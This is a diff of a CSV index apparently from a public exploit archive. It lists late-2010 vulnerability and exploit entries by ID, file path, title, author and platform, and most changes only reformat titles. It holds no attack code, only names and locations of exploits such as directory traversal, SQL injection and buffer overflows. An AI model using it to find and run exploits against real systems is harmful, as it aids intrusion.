+15323,platforms/php/webapps/15323.txt,"DZCP (deV!Lz Clanportal) 1.5.4 - Local File Inclusion Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
+15324,platforms/php/webapps/15324.txt,"Novaboard 1.1.4 - Local File Inclusion Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
+15325,platforms/php/webapps/15325.txt,"MyBB 1.6 - Full Path Disclosure Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
 15326,platforms/php/webapps/15326.txt,"BloofoxCMS v0.3.5 Information Disclosure Vulnerabilities",2010-10-27,"High-Tech Bridge SA",php,webapps,0
 15327,platforms/php/webapps/15327.txt,"Energine CMS SQL Injection Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
 15328,platforms/php/webapps/15328.txt,"BloofoxCMS Registration Plugin SQL Injection Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
-15329,platforms/php/webapps/15329.txt,"Zomplog v3.9 CSRF Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
+15329,platforms/php/webapps/15329.txt,"Zomplog 3.9 - CSRF Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
 15330,platforms/php/webapps/15330.txt,"NinkoBB 1.3RC5 XSS Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
-15331,platforms/php/webapps/15331.txt,"Zomplog 3.9 Multiple XSS & XSRF Vulnerabilities",2010-10-27,"High-Tech Bridge SA",php,webapps,0
+15331,platforms/php/webapps/15331.txt,"Zomplog 3.9 - Multiple XSS & CSRF Vulnerabilities",2010-10-27,"High-Tech Bridge SA",php,webapps,0
 15332,platforms/php/webapps/15332.txt,"BlogBird Platform Multiple XSS Vulnerabilities",2010-10-27,"High-Tech Bridge SA",php,webapps,0
-15333,platforms/windows/remote/15333.txt,"MinaliC Webserver v1.0 Directory Traversal Vulnerability",2010-10-27,"John Leitch",windows,remote,0
-15334,platforms/windows/dos/15334.py,"MinaliC Webserver v1.0 Denial of Service Vulnerability",2010-10-27,"John Leitch",windows,dos,0
+15333,platforms/windows/remote/15333.txt,"MinaliC Webserver 1.0 - Directory Traversal Vulnerability",2010-10-27,"John Leitch",windows,remote,0
+15334,platforms/windows/dos/15334.py,"MinaliC Webserver 1.0 - Denial of Service Vulnerability",2010-10-27,"John Leitch",windows,dos,0
 15335,platforms/php/webapps/15335.txt,"AlstraSoft E-Friends 4.96 Multiple Remote Vulnerabilities",2010-10-27,"Salvatore Fresta",php,webapps,0
 15336,platforms/windows/remote/15336.txt,"MinaliC Webserver 1.0 Remote Source Disclosure/File Download",2010-10-27,Dr_IDE,windows,remote,0
 15337,platforms/windows/remote/15337.py,"DATAC RealWin SCADA 1.06 Buffer Overflow Exploit",2010-10-27,Blake,windows,remote,0
@@ -13319,21 +13319,21 @@ id,file,description,date,author,platform,type,port
 15346,platforms/multiple/dos/15346.c,"Platinum SDK Library post upnp sscanf Buffer Overflow Vulnerability",2010-10-28,n00b,multiple,dos,0
 15347,platforms/windows/remote/15347.py,"XBMC 9.04.1r20672 soap_action_name post upnp sscanf Buffer Overflow",2010-10-28,n00b,windows,remote,0
 15348,platforms/php/webapps/15348.txt,"Pub-Me CMS Blind SQL Injection Vulnerability",2010-10-28,H4f,php,webapps,0
-15349,platforms/windows/remote/15349.txt,"Home FTP Server v1.11.1.149 Post-Auth Directory Traversal",2010-10-29,chr1x,windows,remote,0
+15349,platforms/windows/remote/15349.txt,"Home FTP Server 1.11.1.149 - Post-Auth Directory Traversal",2010-10-29,chr1x,windows,remote,0
 15350,platforms/php/webapps/15350.rb,"PHPKit <= 1.6.1 R2 overview.php SQL injection Vulnerability Exploit",2010-10-29,"Easy Laster",php,webapps,0
 15351,platforms/php/webapps/15351.rb,"mygamingladder MGL Combo System <= 7.5 game.php SQL injection Exploit",2010-10-29,"Easy Laster",php,webapps,0
 15352,platforms/windows/remote/15352.html,"Firefox 3.6.8 - 3.6.11 Interleaving document.write and appendChild Exploit (From the Wild)",2010-10-29,unknown,windows,remote,0
 15353,platforms/php/webapps/15353.txt,"Joomla Component com_jfuploader < 2.12 Remote File Upload",2010-10-30,Setr0nix,php,webapps,0
 15354,platforms/php/webapps/15354.txt,"Zoopeer 0.1 & 0.2 (fckeditor) Shell Upload Vulnerability",2010-10-30,Net.Edit0r,php,webapps,0
 15355,platforms/php/webapps/15355.txt,"Simpli Easy (AFC Simple) Newsletter <= 4.2 XSS/Information Leakage",2010-10-30,p0deje,php,webapps,0
-15356,platforms/windows/dos/15356.pl,"yPlay v2.4.5 Denial of Service Vulnerability",2010-10-30,"MOHAMED ABDI",windows,dos,0
-15357,platforms/windows/remote/15357.php,"Home FTP Server v1.11.1.149 RETR DELE RMD Remote Directory Traversal Exploit",2010-10-30,"Yakir Wizman",windows,remote,0
-15358,platforms/windows/remote/15358.txt,"SmallFTPD v1.0.3 Remote Directory Traversal Vulnerability",2010-10-31,"Yakir Wizman",windows,remote,0
+15356,platforms/windows/dos/15356.pl,"yPlay 2.4.5 - Denial of Service Vulnerability",2010-10-30,"MOHAMED ABDI",windows,dos,0
+15357,platforms/windows/remote/15357.php,"Home FTP Server 1.11.1.149 RETR DELE RMD - Remote Directory Traversal Exploit",2010-10-30,"Yakir Wizman",windows,remote,0
+15358,platforms/windows/remote/15358.txt,"SmallFTPD 1.0.3 - Remote Directory Traversal Vulnerability",2010-10-31,"Yakir Wizman",windows,remote,0
 15360,platforms/php/webapps/15360.pl,"MetInfo 2.0 PHP Code Injection Vulnerability",2010-10-31,Beach,php,webapps,0
 15361,platforms/php/webapps/15361.pl,"MetInfo 3.0 PHP Code Injection Vulnerability",2010-10-31,Beach,php,webapps,0
 15366,platforms/php/webapps/15366.txt,"Joomla Flip Wall Component (com_flipwall) SQL Injection Vulnerability",2010-10-31,"Fl0riX ",php,webapps,0
 15367,platforms/php/webapps/15367.txt,"Joomla Sponsor Wall Component (com_sponsorwall) SQL Injection Vulnerability",2010-10-31,"Fl0riX ",php,webapps,0
-15368,platforms/windows/remote/15368.php,"Buffy v1.3 Remote Directory Traversal Exploit",2010-10-31,"Yakir Wizman",windows,remote,0
+15368,platforms/windows/remote/15368.php,"Buffy 1.3 - Remote Directory Traversal Exploit",2010-10-31,"Yakir Wizman",windows,remote,0
 15369,platforms/php/webapps/15369.php,"Auto CMS <= 1.8 Remote Code Execution",2010-10-31,"Giuseppe D'Inverno",php,webapps,0
 15370,platforms/php/webapps/15370.txt,"XAMPP <= 1.7.3 multiple vulnerabilites",2010-11-01,TheLeader,php,webapps,0
 15371,platforms/windows/remote/15371.txt,"Yaws 1.89 Directory Traversal Vulnerability",2010-11-01,nitr0us,windows,remote,0
@@ -13342,9 +13342,9 @@ id,file,description,date,author,platform,type,port
 15378,platforms/windows/dos/15378.py,"Sybase Advantage Data Architect ""*.SQL"" Format Heap Oveflow",2010-11-01,d0lc3,windows,dos,0
 15380,platforms/hardware/dos/15380.txt,"Xerox 4595 Denial of Service Vulnerability",2010-11-01,chap0,hardware,dos,0
 15381,platforms/php/webapps/15381.txt,"Collabtive SQL Injection Vulnerability",2010-11-01,"Anatolia Security",php,webapps,0
-15382,platforms/asp/webapps/15382.txt,"Douran Portal <= v3.9.7.55 Multiple Remote Vulnerabilities",2010-11-01,ItSecTeam,asp,webapps,0
+15382,platforms/asp/webapps/15382.txt,"Douran Portal <= 3.9.7.55 - Multiple Remote Vulnerabilities",2010-11-01,ItSecTeam,asp,webapps,0
 15383,platforms/windows/dos/15383.c,"Rising RSNTGDI.sys Local Denial of Service Vulnerability",2010-11-02,ze0r,windows,dos,0
-15384,platforms/windows/dos/15384.c,"AVG Internet Security v9.0.851 Local Denial of Service Exploit",2010-11-02,"Nikita Tarakanov",windows,dos,0
+15384,platforms/windows/dos/15384.c,"AVG Internet Security 9.0.851 - Local Denial of Service Exploit",2010-11-02,"Nikita Tarakanov",windows,dos,0
 15385,platforms/php/webapps/15385.txt,"Kandidat CMS 1.4.2 Stored Cross Site Scripting Vulnerability",2010-11-02,"High-Tech Bridge SA",php,webapps,0
 15386,platforms/php/webapps/15386.txt,"MemHT Portal 4.0.1 Stored Cross Site Scripting Vulnerability",2010-11-02,"High-Tech Bridge SA",php,webapps,0
 15387,platforms/php/webapps/15387.txt,"Webmedia Explorer 6.13.1 Stored Cross Site Scripting Vulnerability",2010-11-02,"High-Tech Bridge SA",php,webapps,0
@@ -13357,13 +13357,13 @@ id,file,description,date,author,platform,type,port
 15397,platforms/asp/webapps/15397.txt,"Online Work Order System (OWOS) Professional Edition Authentication Bypass",2010-11-02,"L0rd CrusAd3r",asp,webapps,0
 15398,platforms/asp/webapps/15398.txt,"Digger Solutions Newsletter Open Source SQL Injection Vulnerability",2010-11-02,"L0rd CrusAd3r",asp,webapps,0
 15399,platforms/asp/webapps/15399.txt,"Site2Nite Business eListings SQL Injection Vulnerability",2010-11-02,"L0rd CrusAd3r",asp,webapps,0
-15400,platforms/php/webapps/15400.txt,"Dolphin v7.0.3 Multiple Vulnerabilities",2010-11-02,anT!-Tr0J4n,php,webapps,0
+15400,platforms/php/webapps/15400.txt,"Dolphin 7.0.3 - Multiple Vulnerabilities",2010-11-02,anT!-Tr0J4n,php,webapps,0
 15403,platforms/windows/local/15403.py,"Minishare 1.5.5 Buffer Overflow Vulnerability (users.txt)",2010-11-02,"Chris Gabriel",windows,local,0
 15404,platforms/php/webapps/15404.txt,"eLouai's Force Download Script Arbitrary Local File Download Vulnerability",2010-11-03,v1R00Z,php,webapps,0
 15405,platforms/php/webapps/15405.txt,"digiSHOP SQL Injection Vulnerability",2010-11-03,Silic0n,php,webapps,0
 15406,platforms/windows/local/15406.rb,"Minishare 1.5.5 Buffer Overflow Vulnerability (SEH)",2010-11-03,"Muhamad Fadzil Ramli",windows,local,0
 15407,platforms/windows/dos/15407.txt,"Avira Premium Security Suite NtCreateKey Race Condition Vulnerability",2010-11-03,"Nikita Tarakanov",windows,dos,0
-15408,platforms/windows/dos/15408.html,"Crystal Report Viewer v8.0.0.371 ActiveX Denial of Service Vulnerability",2010-11-03,"Matthew Bergin",windows,dos,0
+15408,platforms/windows/dos/15408.html,"Crystal Report Viewer 8.0.0.371 - ActiveX Denial of Service Vulnerability",2010-11-03,"Matthew Bergin",windows,dos,0
 15409,platforms/php/webapps/15409.txt,"Zen Cart 1.3.9h Local File Inclusion Vulnerability",2010-11-03,"Salvatore Fresta",php,webapps,0
 15411,platforms/windows/dos/15411.pl,"HtaEdit v 3.2.3.0 (.hta) Buffer Overflow Vulnerability",2010-11-04,anT!-Tr0J4n,windows,dos,0
 15412,platforms/php/webapps/15412.txt,"eoCMS 0.9.04 Multiple Vulnerabilities",2010-11-04,"High-Tech Bridge SA",php,webapps,0
@@ -13373,24 +13373,24 @@ id,file,description,date,author,platform,type,port
 15416,platforms/php/webapps/15416.txt,"JBI CMS SQL Injection Vulnerability",2010-11-04,Cru3l.b0y,php,webapps,0
 15417,platforms/windows/local/15417.pl,"GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability",2010-11-04,moigai,windows,local,0
 15418,platforms/windows/dos/15418.html,"Internet Explorer Memory Corruption 0day Vulnerability",2010-11-04,unknown,windows,dos,0
-15419,platforms/windows/dos/15419.txt,"Acrobat Reader v9.4 Memory Corruption Vulnerability",2010-11-04,scup,windows,dos,0
+15419,platforms/windows/dos/15419.txt,"Acrobat Reader 9.4 - Memory Corruption Vulnerability",2010-11-04,scup,windows,dos,0
 15420,platforms/windows/dos/15420.c,"Avast! Internet Security aswtdi.sys 0day Local DoS PoC",2010-11-04,"Nikita Tarakanov",windows,dos,0
-15421,platforms/windows/remote/15421.html,"Internet Explorer 6, 7, 8 Memory Corruption 0day Exploit",2010-11-04,"Matteo Memelli",windows,remote,0
+15421,platforms/windows/remote/15421.html,"Internet Explorer 6, 7, 8 Memory Corruption 0day Exploit",2010-11-04,ryujin,windows,remote,0
 15422,platforms/windows/dos/15422.pl,"Sami HTTP Server 2.0.1 GET Request Denial of Service Exploit",2010-11-05,wingthor,windows,dos,0
 15423,platforms/hardware/remote/15423.html,"Android 2.0-2.1 Reverse Shell Exploit",2010-11-05,"MJ Keith",hardware,remote,0
 15426,platforms/windows/dos/15426.txt,"Adobe Flash ActionIf Integer Denial of Service Vulnerability",2010-11-05,"Matthew Bergin",windows,dos,0
-15427,platforms/windows/remote/15427.txt,"WinTFTP Server Pro v3.1 (0day) Remote Directory Traversal Vulnerability",2010-11-05,"Yakir Wizman",windows,remote,0
+15427,platforms/windows/remote/15427.txt,"WinTFTP Server Pro 3.1 - (0day) Remote Directory Traversal Vulnerability",2010-11-05,"Yakir Wizman",windows,remote,0
 15428,platforms/multiple/dos/15428.rb,"Avidemux <= 2.5.4 Buffer Overflow Vulnerability",2010-11-05,The_UnKn@wn,multiple,dos,0
 15429,platforms/windows/dos/15429.txt,"FileFuzz Denial of service vulnerability",2010-11-05,Sweet,windows,dos,0
 15430,platforms/php/webapps/15430.txt,"Joomla ccInvoices Component (com_ccinvoices) SQL Injection Vulnerability",2010-11-05,"Fl0riX ",php,webapps,0
 15431,platforms/php/dos/15431.txt,"PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference",2010-11-05,"Maksymilian Arciemowicz",php,dos,0
-15432,platforms/windows/dos/15432.html,"LEADTOOLS v11.5.0.9 ltisi11n.ocx DriverName() Access Violation",2010-11-05,"Matthew Bergin",windows,dos,0
-15433,platforms/windows/dos/15433.html,"LEADTOOLS v11.5.0.9 ltlst11n.ocx Insert() Access Violation",2010-11-05,"Matthew Bergin",windows,dos,0
-15434,platforms/windows/dos/15434.html,"LEADTOOLS v11.5.0.9 ltdlg11n.ocx GetColorRes() Access Violation",2010-11-05,"Matthew Bergin",windows,dos,0
-15435,platforms/windows/dos/15435.html,"LEADTOOLS v11.5.0.9 lttmb11n.ocx BrowseDir() Access Violation",2010-11-05,"Matthew Bergin",windows,dos,0
-15436,platforms/windows/dos/15436.html,"LEADTOOLS v11.5.0.9 ltdlg11n.ocx Bitmap Access Violation",2010-11-05,"Matthew Bergin",windows,dos,0
-15437,platforms/windows/remote/15437.txt,"Quick Tftp Server Pro v2.1 Remote Directory Traversal Vulnerability",2010-11-05,"Yakir Wizman",windows,remote,0
-15438,platforms/windows/remote/15438.txt,"AT-TFTP Server v1.8 Remote Directory Traversal Vulnerability",2010-11-06,"Yakir Wizman",windows,remote,0
+15432,platforms/windows/dos/15432.html,"LEADTOOLS 11.5.0.9 - (ltisi11n.ocx) DriverName() Access Violation DoS",2010-11-05,"Matthew Bergin",windows,dos,0
+15433,platforms/windows/dos/15433.html,"LEADTOOLS 11.5.0.9 - (ltlst11n.ocx) Insert() Access Violation DoS",2010-11-05,"Matthew Bergin",windows,dos,0
+15434,platforms/windows/dos/15434.html,"LEADTOOLS 11.5.0.9 (ltdlg11n.ocx) - GetColorRes() Access Violation DoS",2010-11-05,"Matthew Bergin",windows,dos,0
+15435,platforms/windows/dos/15435.html,"LEADTOOLS 11.5.0.9 (lttmb11n.ocx) - BrowseDir() Access Violation DoS",2010-11-05,"Matthew Bergin",windows,dos,0
+15436,platforms/windows/dos/15436.html,"LEADTOOLS 11.5.0.9 - (ltdlg11n.ocx) Bitmap Access Violation DoS",2010-11-05,"Matthew Bergin",windows,dos,0
+15437,platforms/windows/remote/15437.txt,"Quick Tftp Server Pro 2.1 - Remote Directory Traversal Vulnerability",2010-11-05,"Yakir Wizman",windows,remote,0
+15438,platforms/windows/remote/15438.txt,"AT-TFTP Server 1.8 - Remote Directory Traversal Vulnerability",2010-11-06,"Yakir Wizman",windows,remote,0
 15439,platforms/php/webapps/15439.txt,"Joomla Component (com_connect) Local File Inclusion Vulnerability",2010-11-06,"Th3 RDX",php,webapps,0
 15440,platforms/php/webapps/15440.txt,"Joomla Component (com_dcnews) Local File Inclusion Vulnerability",2010-11-06,"Th3 RDX",php,webapps,0
 15441,platforms/php/webapps/15441.txt,"MassMirror Uploader Remote File Inclusion Vulnerability",2010-11-06,ViciOuS,php,webapps,0
@@ -13398,7 +13398,7 @@ id,file,description,date,author,platform,type,port
 15443,platforms/php/webapps/15443.txt,"RSform! 1.0.5 (Joomla) Multiple Vulnerabilities",2010-11-06,jdc,php,webapps,0
 15444,platforms/windows/dos/15444.zip,"G Data TotalCare 2011 NtOpenKey Race Condition Vulnerability",2010-11-06,"Nikita Tarakanov",windows,dos,0
 15445,platforms/windows/remote/15445.txt,"Femitter FTP Server 1.04 Directory Traversal Vulnerability",2010-11-06,chr1x,windows,remote,0
-15447,platforms/php/webapps/15447.txt,"phpCow v2.1 File Inclusion Vulnerability",2010-11-06,ViRuS_HiMa,php,webapps,0
+15447,platforms/php/webapps/15447.txt,"phpCow 2.1 - File Inclusion Vulnerability",2010-11-06,ViRuS_HiMa,php,webapps,0
 15448,platforms/asp/webapps/15448.txt,"Pilot Cart 7.3 Multiple Vulnerabilities",2010-11-07,Ariko-Security,asp,webapps,0
 15449,platforms/linux/remote/15449.pl,"ProFTPD IAC Remote Root Exploit",2010-11-07,Kingcope,linux,remote,0
 15450,platforms/windows/remote/15450.txt,"FileCOPA FTP Server 6.01 directory traversal",2010-11-07,"Pawel h0wl Wylecial",windows,remote,21
@@ -13410,37 +13410,37 @@ id,file,description,date,author,platform,type,port
 15456,platforms/php/webapps/15456.txt,"Joomla Component (com_clanlist) SQL Injection Vulnerability",2010-11-08,CoBRa_21,php,webapps,0
 15458,platforms/windows/dos/15458.txt,"PCSX2 0.9.7 beta Binary Denial of Service Vulnerability",2010-11-08,41.w4r10r,windows,dos,0
 15459,platforms/php/webapps/15459.txt,"Seo Panel 2.1.0 - Critical File Disclosure",2010-11-08,MaXe,php,webapps,0
-15460,platforms/php/webapps/15460.txt,"Joomla Component ProDesk v1.5 Local File Inclusion Vulnerability",2010-11-08,d3v1l,php,webapps,0
+15460,platforms/php/webapps/15460.txt,"Joomla Component ProDesk 1.5 - Local File Inclusion Vulnerability",2010-11-08,d3v1l,php,webapps,0
 15461,platforms/windows/local/15461.c,"G Data TotalCare 2011 0day Local Kernel Exploit",2010-11-08,"Nikita Tarakanov",windows,local,0
 15462,platforms/php/webapps/15462.txt,"Joomla DCNews Component com_dcnews LFI Vulnerability",2010-11-08,"Th3 RDX",php,webapps,0
 15463,platforms/linux/dos/15463.txt,"Novell Groupwise Internet Agent IMAP LIST Command Remote Code Execution",2010-11-09,"Francis Provencher",linux,dos,0
 15464,platforms/linux/dos/15464.txt,"Novell Groupwise Internet Agent IMAP LIST LSUB Command Remote Code Execution",2010-11-09,"Francis Provencher",linux,dos,0
-15465,platforms/php/webapps/15465.rb,"Woltlab Burning Board Userlocator v2.5 SQL injection Exploit",2010-11-09,"Easy Laster",php,webapps,0
+15465,platforms/php/webapps/15465.rb,"Woltlab Burning Board Userlocator 2.5 - SQL injection Exploit",2010-11-09,"Easy Laster",php,webapps,0
 15466,platforms/php/webapps/15466.txt,"Joomla Component JQuarks4s 1.0.0 Blind SQL Injection Vulnerability",2010-11-09,"Salvatore Fresta",php,webapps,0
 15467,platforms/multiple/dos/15467.txt,"Oracle MySQL < 5.1.49 'WITH ROLLUP' Denial Of Service Vulnerability",2010-11-09,"Shane Bester",multiple,dos,0
 15468,platforms/php/webapps/15468.txt,"Joomla Component (btg_oglas) HTML & XSS Injection Vulnerability",2010-11-09,CoBRa_21,php,webapps,0
 15469,platforms/php/webapps/15469.txt,"Joomla Component (com_markt) SQL Injection Vulnerability",2010-11-09,CoBRa_21,php,webapps,0
-15470,platforms/php/webapps/15470.txt,"Joomla Component (com_img) LFI  Vulnerability",2010-11-09,CoBRa_21,php,webapps,0
-15472,platforms/php/webapps/15472.txt,"osCommerce v2.2 CSRF",2010-11-09,daandeveloper33,php,webapps,0
+15470,platforms/php/webapps/15470.txt,"Joomla Component (com_img) LFI Vulnerability",2010-11-09,CoBRa_21,php,webapps,0
+15472,platforms/php/webapps/15472.txt,"osCommerce 2.2 - CSRF",2010-11-09,daandeveloper33,php,webapps,0
 15473,platforms/multiple/webapps/15473.html,"IBM OmniFind CSRF Vulnerability",2010-11-09,"Fatih Kilic",multiple,webapps,0
 15474,platforms/multiple/dos/15474.txt,"IBM OmniFind Buffer Overflow Vulnerability",2010-11-09,"Fatih Kilic",multiple,dos,0
 15475,platforms/multiple/local/15475.txt,"IBM OmniFind Privilege Escalation Vulnerability",2010-11-09,"Fatih Kilic",multiple,local,0
 15476,platforms/multiple/dos/15476.php,"IBM OmniFind Crawler Denial of Service Vulnerability",2010-11-09,"Fatih Kilic",multiple,dos,0
 15480,platforms/windows/local/15480.pl,"Free CD to MP3 Converter 3.1 Buffer Overflow Exploit",2010-11-10,"C4SS!0 G0M3S",windows,local,0
 15481,platforms/linux/dos/15481.c,"Linux Kernel Stack Infoleaks Vulnerability",2010-11-10,"Dan Rosenberg",linux,dos,0
-15482,platforms/windows/dos/15482.html,"Qtweb Browser v3.5 Buffer Overflow Vulnerability",2010-11-10,PoisonCode,windows,dos,0
-15483,platforms/windows/local/15483.rb,"Free CD to MP3 Converter v3.1 Buffer Overflow Exploit (SEH)",2010-11-10,"C4SS!0 G0M3S",windows,local,0
+15482,platforms/windows/dos/15482.html,"Qtweb Browser 3.5 - Buffer Overflow Vulnerability",2010-11-10,PoisonCode,windows,dos,0
+15483,platforms/windows/local/15483.rb,"Free CD to MP3 Converter 3.1 - Buffer Overflow Exploit (SEH)",2010-11-10,"C4SS!0 G0M3S",windows,local,0
 15484,platforms/php/webapps/15484.txt,"FCKeditor 2.x <= 2.4.3 Arbitrary File Upload Vulnerability",2010-11-10,grabz,php,webapps,0
-15486,platforms/php/webapps/15486.txt,"eBlog v1.7 Multiple SQL Injection Vulnerabilities",2010-11-10,"Salvatore Fresta",php,webapps,0
+15486,platforms/php/webapps/15486.txt,"eBlog 1.7 - Multiple SQL Injection Vulnerabilities",2010-11-10,"Salvatore Fresta",php,webapps,0
 15488,platforms/php/webapps/15488.txt,"Landesk OS command injection",2010-11-11,"Aureliano Calvo",php,webapps,0
 15489,platforms/windows/local/15489.py,"Mp3-Nator 2.0 Buffer Overflow Exploit (SEH)",2010-11-11,"C4SS!0 G0M3S",windows,local,0
 15490,platforms/php/webapps/15490.txt,"XT:Commerce < 3.04 SP2.1 XSS Vulnerability",2010-11-11,"Philipp Niedziela",php,webapps,0
 15491,platforms/osx/dos/15491.txt,"Apple Directory Services Memory Corruption",2010-11-11,"Rodrigo Rubira",osx,dos,0
-15492,platforms/php/webapps/15492.php,"E-Xoopport v3.1 eCal display.php (katid) SQL Injection Exploit",2010-11-11,"Vis Intelligendi",php,webapps,0
+15492,platforms/php/webapps/15492.php,"E-Xoopport 3.1 - eCal display.php (katid) SQL Injection Exploit",2010-11-11,"Vis Intelligendi",php,webapps,0
 15493,platforms/windows/dos/15493.py,"Visual MP3 Splitter & Joiner 6.1 (.wav) Buffer Overflow Vulnerability",2010-11-12,anT!-Tr0J4n,windows,dos,0
 15494,platforms/windows/dos/15494.pl,"VbsEdit v 4.7.2.0 (.vbs) Buffer Overflow Vulnerability",2010-11-12,anT!-Tr0J4n,windows,dos,0
-15495,platforms/windows/dos/15495.py,"Power Audio Editor v7.4.3.230 (.cda) Denial of Service Vulnerability",2010-11-12,anT!-Tr0J4n,windows,dos,0
-15496,platforms/php/webapps/15496.txt,"Metinfo v3.0 Multiple Vulnerabilities",2010-11-12,anT!-Tr0J4n,php,webapps,0
+15495,platforms/windows/dos/15495.py,"Power Audio Editor 7.4.3.230 - (.cda) Denial of Service Vulnerability",2010-11-12,anT!-Tr0J4n,windows,dos,0
+15496,platforms/php/webapps/15496.txt,"Metinfo 3.0 - Multiple Vulnerabilities",2010-11-12,anT!-Tr0J4n,php,webapps,0
 15497,platforms/asp/webapps/15497.txt,"ASPilot Pilot Cart 7.3 newsroom.asp SQL Injection Vulnerability",2010-11-12,Daikin,asp,webapps,0
 15498,platforms/multiple/dos/15498.html,"Mozilla Firefox <= 3.6.12 Remote Denial Of Service",2010-11-12,"emgent white_sheep and scox",multiple,dos,0
 15499,platforms/windows/local/15499.py,"Free WMA MP3 Converter 1.1 Buffer Overflow Exploit (SEH)",2010-11-12,Dr_IDE,windows,local,0
@@ -13452,19 +13452,19 @@ id,file,description,date,author,platform,type,port
 15506,platforms/hardware/webapps/15506.txt,"Camtron CMNC-200 IP Camera Authentication Bypass",2010-11-13,"Trustwave's SpiderLabs",hardware,webapps,0
 15507,platforms/hardware/webapps/15507.txt,"Camtron CMNC-200 IP Camera Undocumented Default Accounts",2010-11-13,"Trustwave's SpiderLabs",hardware,webapps,0
 15508,platforms/hardware/dos/15508.txt,"Camtron CMNC-200 IP Camera Denial of Service Vulnerability",2010-11-13,"Trustwave's SpiderLabs",hardware,dos,0
-15509,platforms/php/webapps/15509.txt,"Build a Niche Store v3.0 (BANS) Authentication Bypass Vulnerability",2010-11-13,"ThunDEr HeaD",php,webapps,0
-15510,platforms/php/webapps/15510.txt,"AWCM v2.1 final Remote File Inclusion Vulnerability",2010-11-13,LoSt.HaCkEr,php,webapps,0
+15509,platforms/php/webapps/15509.txt,"Build a Niche Store 3.0 - (BANS) Authentication Bypass Vulnerability",2010-11-13,"ThunDEr HeaD",php,webapps,0
+15510,platforms/php/webapps/15510.txt,"AWCM 2.1 final - Remote File Inclusion Vulnerability",2010-11-13,LoSt.HaCkEr,php,webapps,0
 15512,platforms/php/webapps/15512.py,"DBSite Remote SQL Injection Vulnerability",2010-11-13,God_Of_Pain,php,webapps,0
 15513,platforms/php/webapps/15513.txt,"Wordpress Event Registration Plugin 5.32 SQL Injection Vulnerability",2010-11-13,k3m4n9i,php,webapps,0
-15514,platforms/windows/dos/15514.txt,"Foxit Reader v4.1.1 Stack Overflow Vulnerability",2010-11-13,dookie,windows,dos,0
+15514,platforms/windows/dos/15514.txt,"Foxit Reader 4.1.1 - Stack Overflow Vulnerability",2010-11-13,dookie,windows,dos,0
 15515,platforms/php/webapps/15515.txt,"Invision Power Board 3 search_app SQL Injection Vulnerability",2010-11-13,"Lord Tittis3000",php,webapps,0
 15516,platforms/php/webapps/15516.txt,"EasyJobPortal Shell Upload Vulnerability",2010-11-13,MeGo,php,webapps,0
 15517,platforms/php/webapps/15517.txt,"Webmatic (index.php) SQL Injection Vulnerability",2010-11-13,v3n0m,php,webapps,0
 15518,platforms/php/webapps/15518.txt,"Joomla Component ccBoard 1.2-RC Multiple Vulnerabilities",2010-11-13,jdc,php,webapps,0
-15519,platforms/php/webapps/15519.txt,"OneOrZero AIMS v2.6.0 Members Edition - Multiple Vulnerabilities",2010-11-13,Valentin,php,webapps,0
+15519,platforms/php/webapps/15519.txt,"OneOrZero AIMS 2.6.0 Members Edition - Multiple Vulnerabilities",2010-11-13,Valentin,php,webapps,0
 15524,platforms/php/webapps/15524.txt,"Pre Ads Portal SQL Bypass Vulnerability",2010-11-13,Cru3l.b0y,php,webapps,0
 15526,platforms/php/webapps/15526.txt,"Pre Online Tests Generator Pro SQL Injection Vulnerability",2010-11-13,Cru3l.b0y,php,webapps,0
-15531,platforms/php/webapps/15531.txt,"BSI Advance Hotel Booking System v1.0 SQL Injection Vulnerability",2010-11-14,v3n0m,php,webapps,0
+15531,platforms/php/webapps/15531.txt,"BSI Advance Hotel Booking System 1.0 - SQL Injection Vulnerability",2010-11-14,v3n0m,php,webapps,0
 15532,platforms/windows/local/15532.py,"Foxit Reader 4.1.1 Stack Buffer Overflow Exploit",2010-11-14,Sud0,windows,local,0
 15539,platforms/windows/local/15539.pl,"Realtek Audio Control Panel 1.0.1.65 Exploit",2010-11-14,BraniX,windows,local,0
 15540,platforms/windows/local/15540.pl,"Realtek Audio Microphone Calibration 1.1.1.6 Exploit",2010-11-14,BraniX,windows,local,0
@@ -13490,11 +13490,11 @@ id,file,description,date,author,platform,type,port
 15564,platforms/php/webapps/15564.txt,"Front Accounting 2.3RC2 Multiple Persistent XSS Vulnerabilities",2010-11-17,"Juan Manuel Garcia",php,webapps,0
 15565,platforms/php/webapps/15565.txt,"Front Accounting 2.3RC2 Multiple SQL Injection Vulnerabilities",2010-11-17,"Juan Manuel Garcia",php,webapps,0
 15566,platforms/windows/local/15566.rb,"DIZzy 1.12 Local Stack Overflow",2010-11-18,g30rg3_x,windows,local,0
-15567,platforms/php/webapps/15567.txt,"WebRCSdiff 0.9 (viewver.php) Remote File Inclusion Vulnerability",2010-11-18,"Fl0riX ",php,webapps,0
+15567,platforms/php/webapps/15567.txt,"WebRCSdiff 0.9 - (viewver.php) Remote File Inclusion Vulnerability",2010-11-18,"Fl0riX ",php,webapps,0
 15568,platforms/php/webapps/15568.py,"chCounter <= 3.1.3 SQL Injection Vulnerability",2010-11-18,"Matias Fontanini",php,webapps,0
-15569,platforms/windows/local/15569.rb,"MP3-Nator Buffer Overflow  (SEH - DEP BYPASS)",2010-11-18,"Muhamad Fadzil Ramli",windows,local,0
+15569,platforms/windows/local/15569.rb,"MP3-Nator Buffer Overflow (SEH - DEP BYPASS)",2010-11-18,"Muhamad Fadzil Ramli",windows,local,0
 15570,platforms/php/webapps/15570.php,"Mosets Tree 2.1.6 (Joomla) Template Overwrite CSRF",2010-11-18,jdc,php,webapps,0
-15571,platforms/php/webapps/15571.txt,"FozzCom shopping<= 7.94+8.04  Multiple Remote Vulnerabilities",2010-11-18,"Dr.0rYX and Cr3w-DZ",php,webapps,0
+15571,platforms/php/webapps/15571.txt,"FozzCom shopping<= 7.94+8.04 Multiple Remote Vulnerabilities",2010-11-18,"Dr.0rYX and Cr3w-DZ",php,webapps,0
 15572,platforms/php/webapps/15572.txt,"ViArt SHOP 4.0.5 Multiple Vulnerabilities",2010-11-19,Ariko-Security,php,webapps,0
